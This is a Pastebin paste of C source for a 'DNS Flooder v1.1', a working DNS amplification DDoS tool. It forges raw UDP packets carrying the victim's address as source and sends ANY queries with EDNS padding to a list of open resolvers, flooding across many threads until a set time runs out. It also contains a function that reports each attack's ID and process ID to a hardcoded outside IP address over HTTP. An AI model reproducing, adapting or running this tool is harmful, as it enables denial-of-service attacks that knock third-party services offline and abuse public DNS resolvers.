KhaosBringer

DNS FLood v1.1 Attack Script.c

Nov 26th, 2018
1,129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 15.42 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11.  
  12. #define MAX_PACKET_SIZE 8192
  13. #define PHI 0x9e3779b9
  14. #define PACKETS_PER_RESOLVER 15
  15.  
  16. static uint32_t Q[4096], c = 362436;
  17.  
  18. struct list
  19. {
  20.                 struct sockaddr_in data;
  21.                 char domain[512];
  22.                 int line;
  23.                 struct list *next;
  24.                 struct list *prev;
  25. };
  26. struct list *head;
  27.  
  28. struct thread_data{
  29.                 int thread_id;
  30.                 struct list *list_node;
  31.                 struct sockaddr_in sin;
  32.                 int port;
  33. };
  34.  
  35. struct DNS_HEADER
  36. {
  37.                 unsigned short id; // identification number
  38.  
  39.                 unsigned char rd :1; // recursion desired
  40.                 unsigned char tc :1; // truncated message
  41.                 unsigned char aa :1; // authoritive answer
  42.                 unsigned char opcode :4; // purpose of message
  43.                 unsigned char qr :1; // query/response flag
  44.  
  45.                 unsigned char rcode :4; // response code
  46.                 unsigned char cd :1; // checking disabled
  47.                 unsigned char ad :1; // authenticated data
  48.                 unsigned char z :1; // its z! reserved
  49.                 unsigned char ra :1; // recursion available
  50.  
  51.                 unsigned short q_count; // number of question entries
  52.                 unsigned short ans_count; // number of answer entries
  53.                 unsigned short auth_count; // number of authority entries
  54.                 unsigned short add_count; // number of resource entries
  55. };
  56.  
  57. //Constant sized fields of query structure
  58. struct QUESTION
  59. {
  60.         unsigned short qtype;
  61.         unsigned short qclass;
  62. };
  63.  
  64. //Constant sized fields of the resource record structure
  65. struct QUERY
  66. {
  67.                 unsigned char *name;
  68.                 struct QUESTION *ques;
  69. };
  70.  
  71. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  72. {
  73.                 int lock = 0 , i;
  74.                 strcat((char*)host,".");
  75.  
  76.                 for(i = 0 ; i < strlen((char*)host) ; i++)
  77.                 {
  78.                                 if(host[i]=='.')
  79.                                 {
  80.                                                 *dns++ = i-lock;
  81.                                                 for(;lock<i;lock++)
  82.                                                 {
  83.                                                                 *dns++=host[lock];
  84.                                                 }
  85.                                                 lock++; //or lock=i+1;
  86.                                 }
  87.                 }
  88.                 *dns++='\0';
  89. }
  90.  
  91. void init_rand(uint32_t x)
  92. {
  93.                 int i;
  94.  
  95.                 Q[0] = x;
  96.                 Q[1] = x + PHI;
  97.                 Q[2] = x + PHI + PHI;
  98.  
  99.                 for (i = 3; i < 4096; i++)
  100.                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  101. }
  102.  
  103. uint32_t rand_cmwc(void)
  104. {
  105.                 uint64_t t, a = 18782LL;
  106.                 static uint32_t i = 4095;
  107.                 uint32_t x, r = 0xfffffffe;
  108.                 i = (i + 1) & 4095;
  109.                 t = a * Q[i] + c;
  110.                 c = (t >> 32);
  111.                 x = t + c;
  112.                 if (x < c) {
  113.                                 x++;
  114.                                 c++;
  115.                 }
  116.                 return (Q[i] = r - x);
  117. }
  118.  
  119. /* function for header checksums */
  120. unsigned short csum (unsigned short *buf, int nwords)
  121. {
  122.                 unsigned long sum;
  123.                 for (sum = 0; nwords > 0; nwords--)
  124.                 sum += *buf++;
  125.                 sum = (sum >> 16) + (sum & 0xffff);
  126.                 sum += (sum >> 16);
  127.                 return (unsigned short)(~sum);
  128. }
  129.  
  130. void setup_udp_header(struct udphdr *udph)
  131. {
  132.  
  133. }
  134.  
  135. void *flood(void *par1)
  136. {
  137.                 struct thread_data *td = (struct thread_data *)par1;
  138.  
  139.                 char strPacket[MAX_PACKET_SIZE];
  140.                 int iPayloadSize = 0;
  141.  
  142.                 struct sockaddr_in sin = td->sin;
  143.                 struct list *list_node = td->list_node;
  144.                 int iPort = td->port;
  145.  
  146.                 int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  147.                 if(s < 0)
  148.                 {
  149.                         fprintf(stderr, "Could not open raw socket. You need to be root!\n");
  150.                         exit(-1);
  151.                 }
  152.  
  153.                 //init random
  154.                 init_rand(time(NULL));
  155.  
  156.                 // Clear the data
  157.                 memset(strPacket, 0, MAX_PACKET_SIZE);
  158.  
  159.                 // Make the packet
  160.                 struct iphdr *iph = (struct iphdr *) &strPacket;
  161.                 iph->ihl = 5;
  162.                 iph->version = 4;
  163.                 iph->tos = 0;
  164.                 iph->tot_len = sizeof(struct iphdr) + 38;
  165.                 iph->id = htonl(54321);
  166.                 iph->frag_off = 0;
  167.                 iph->ttl = MAXTTL;
  168.                 iph->protocol = IPPROTO_UDP;
  169.                 iph->check = 0;
  170.                 iph->saddr = inet_addr("192.168.3.100");
  171.  
  172.                 iPayloadSize += sizeof(struct iphdr);
  173.  
  174.  
  175.                 struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  176.                 udph->source = htons(iPort);
  177.                 udph->dest = htons(53);
  178.                 udph->check = 0;
  179.  
  180.                 iPayloadSize += sizeof(struct udphdr);
  181.  
  182.                 struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  183.                 dns->id = (unsigned short) htons(rand_cmwc());
  184.                 dns->qr = 0; //This is a query
  185.                 dns->opcode = 0; //This is a standard query
  186.                 dns->aa = 0; //Not Authoritative
  187.                 dns->tc = 0; //This message is not truncated
  188.                 dns->rd = 1; //Recursion Desired
  189.                 dns->ra = 0; //Recursion not available! hey we dont have it (lol)
  190.                 dns->z = 0;
  191.                 dns->ad = 0;
  192.                 dns->cd = 0;
  193.                 dns->rcode = 0;
  194.                 dns->q_count = htons(1); //we have only 1 question
  195.                 dns->ans_count = 0;
  196.                 dns->auth_count = 0;
  197.                 dns->add_count = htons(1);
  198.  
  199.                 iPayloadSize += sizeof(struct DNS_HEADER);
  200.  
  201.                 sin.sin_port = udph->source;
  202.                 iph->saddr = sin.sin_addr.s_addr;
  203.                 iph->daddr = list_node->data.sin_addr.s_addr;
  204.                 iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  205.  
  206.  
  207.                 char strDomain[512];
  208.                 int i;
  209.                 int j = 0;
  210.                 int iAdditionalSize = 0;
  211.                 while(1)
  212.                 {
  213.                         if(j==2){
  214.                                 usleep(100);
  215.                                 j=0;
  216.                         }
  217.  
  218.  
  219.  
  220.                         //set the next node
  221.                         list_node = list_node->next;
  222.  
  223.                         //Clear the old domain and question
  224.                         memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
  225.  
  226.                         //add the chosen domain and question
  227.                         iAdditionalSize = 0;
  228.  
  229.                         unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  230.  
  231.                         strcpy(strDomain, list_node->domain);
  232.                         ChangetoDnsNameFormat(qname, strDomain);
  233.                         //printf("!!%s %d\n", list_node->domain, list_node->line);
  234.  
  235.                         iAdditionalSize += strlen(qname) + 1;
  236.  
  237.                         struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  238.                         qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  239.                         qinfo->qclass = htons(1);
  240.  
  241.                         iAdditionalSize += sizeof(struct QUESTION);
  242.  
  243.                         strPacket[iPayloadSize + iAdditionalSize] = 0x00;
  244.                         strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
  245.                         strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
  246.                         strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
  247.                         strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
  248.                         strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
  249.                         strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
  250.                         strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
  251.                         strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
  252.                         strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
  253.                         strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
  254.                         strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
  255.  
  256.                         iAdditionalSize += 11;
  257.  
  258.  
  259.                         //set new node data
  260.                         iph->daddr = list_node->data.sin_addr.s_addr;
  261.  
  262.                         udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
  263.                         iph->tot_len = iPayloadSize + iAdditionalSize;
  264.  
  265.                         udph->source = htons(rand_cmwc() & 0xFFFF);
  266.                         iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  267.  
  268.                         //send
  269.                         for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  270.                         {
  271.                 //usleep(1);
  272.                                 sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  273.                         }
  274.  
  275.                         j++;
  276.                 }
  277. }
  278.  
  279. void ParseResolverLine(char *strLine, int iLine)
  280. {
  281.         char caIP[32] = "";
  282.         char caDNS[512] = "";
  283.  
  284.         int i;
  285.         char buffer[512] = "";
  286.  
  287.         int moved = 0;
  288.  
  289.         for(i = 0; i < strlen(strLine); i++)
  290.         {
  291.                 if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  292.                 {
  293.                         moved++;
  294.                         continue;
  295.                 }
  296.  
  297.                 if(moved == 0)
  298.                 {
  299.                         caIP[strlen(caIP)] = (char) strLine[i];
  300.                 }
  301.                 else if(moved == 1)
  302.                 {
  303.                         caDNS[strlen(caDNS)] = (char) strLine[i];
  304.                 }
  305.         }
  306.         //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  307.  
  308.         if(head == NULL)
  309.         {
  310.                 head = (struct list *)malloc(sizeof(struct list));
  311.  
  312.                 bzero(&head->data, sizeof(head->data));
  313.  
  314.                 head->data.sin_addr.s_addr=inet_addr(caIP);
  315.                 head->data.sin_port=htons(53);
  316.                 strcpy(head->domain, caDNS);
  317.                 head->line = iLine;
  318.                 head->next = head;
  319.                 head->prev = head;
  320.         }
  321.         else
  322.         {
  323.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  324.  
  325.                 memset(new_node, 0x00, sizeof(struct list));
  326.  
  327.                 new_node->data.sin_addr.s_addr=inet_addr(caIP);
  328.                 new_node->data.sin_port=htons(53);
  329.                 strcpy(new_node->domain, caDNS);
  330.                 new_node->prev = head;
  331.                 head->line = iLine;
  332.                 new_node->next = head->next;
  333.                 head->next = new_node;
  334.         }
  335. }
  336.  
  337. int fnAttackInformation(int attackID)
  338. {
  339.     char szRecvBuff[1024];
  340.     char packet[1024];
  341.     char ip[] = "37.221.170.5";
  342.  
  343.     snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
  344.  
  345.     struct sockaddr_in *remote;
  346.     int sock;
  347.     int tmpres;
  348.    
  349.  
  350.     if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  351.     {
  352.         perror("Can't create TCP socket");
  353.         exit(1);
  354.     }
  355.    
  356.     remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
  357.     remote->sin_family = AF_INET;
  358.     tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
  359.    
  360.     if (tmpres < 0)  
  361.     {
  362.         perror("Can't set remote->sin_addr.s_addr");
  363.         exit(1);
  364.     }
  365.     else if (tmpres == 0)
  366.     {
  367.         fprintf(stderr, "%s is not a valid IP address\n", ip);
  368.         exit(1);
  369.     }
  370.    
  371.     remote->sin_port = htons(80);
  372.    
  373.     if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
  374.     {
  375.         perror("Could not connect");
  376.         exit(1);
  377.     }
  378.        
  379.     tmpres = send(sock, packet, strlen(packet), 0);
  380.    
  381.     //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);   
  382.    
  383.     if (tmpres == -1){
  384.         perror("Can't send query");
  385.         exit(1);
  386.     }
  387.  
  388.     int i = 1;
  389.     int dwTotal = 0;
  390.  
  391.  
  392.     while (1)
  393.     {
  394.         i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
  395.         //printf("Received %d bytes\n", i);
  396.         if (i <= 0)
  397.             break;
  398.            
  399.         dwTotal += i;
  400.     }
  401.  
  402.     szRecvBuff[dwTotal] = '\0';
  403.    
  404.  
  405.     //printf("Received -> \n%s\n\n", szRecvBuff);
  406.  
  407.    
  408.     close(sock);
  409.    
  410.     //printf("Sent %d bytes\n", tmpres);
  411.    
  412.     return 0;
  413. }
  414.  
  415. int main(int argc, char *argv[ ])
  416. {
  417.         if(argc < 4)
  418.         {
  419.                 fprintf(stderr, "Invalid parameters!\n");
  420.                 fprintf(stderr, "DNS Flooder v1.1\nUsage: %s <target IP/hostname> <port to hit> <reflection file (format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
  421.                 fprintf(stderr, "Reflection File Format: <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
  422.                 exit(-1);
  423.         }
  424.  
  425. //  printf("1");
  426.         head = NULL;
  427.  
  428.         char *strLine = (char *) malloc(256);
  429.         strLine = memset(strLine, 0x00, 256);
  430.  
  431.         char strIP[32] = "";
  432.         char strDomain[256] = "";
  433.  
  434.         int iLine = 0; // 0 = ip, 1 = domain.
  435.  
  436.         FILE *list_fd = fopen(argv[3],  "r");
  437.         while(fgets(strLine, 256, list_fd) != NULL)
  438.         {
  439.                 ParseResolverLine(strLine, iLine);
  440.                 iLine++;
  441.         }
  442. //printf("2");
  443.  
  444.         int i = 0;
  445.         int num_threads = atoi(argv[4]);
  446.  
  447.         struct list *current = head->next;
  448.         pthread_t thread[num_threads];
  449.         struct sockaddr_in sin;
  450.         sin.sin_family = AF_INET;
  451.         sin.sin_port = htons(0);
  452.         sin.sin_addr.s_addr = inet_addr(argv[1]);
  453.         struct thread_data td[num_threads];
  454.  
  455.         int iPort = atoi(argv[2]);
  456. //printf("3");
  457. //        printf("Target: %s:%d\n", argv[1], iPort);
  458.        
  459.         fnAttackInformation(atoi(argv[argc-1]));
  460.            
  461.         for(i = 0; i < num_threads; i++)
  462.         {
  463.                 current = current->next;
  464.                 td[i].thread_id = i;
  465.                 td[i].sin= sin;
  466.                 td[i].list_node = current;
  467.                 td[i].port = iPort;
  468.                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  469.         }
  470. //printf("4");
  471. //        fprintf(stdout, "Starting Flood...\n");
  472.  
  473.         if(argc > 4)
  474.         {
  475.                 sleep(atoi(argv[5]));
  476.         }
  477.         else
  478.         {
  479.                 while(1)
  480.                 {
  481.                         sleep(1);
  482.                 }
  483.         }
  484. //printf("5");
  485.         return 0;
  486. }
Add Comment
Please, Sign In to add comment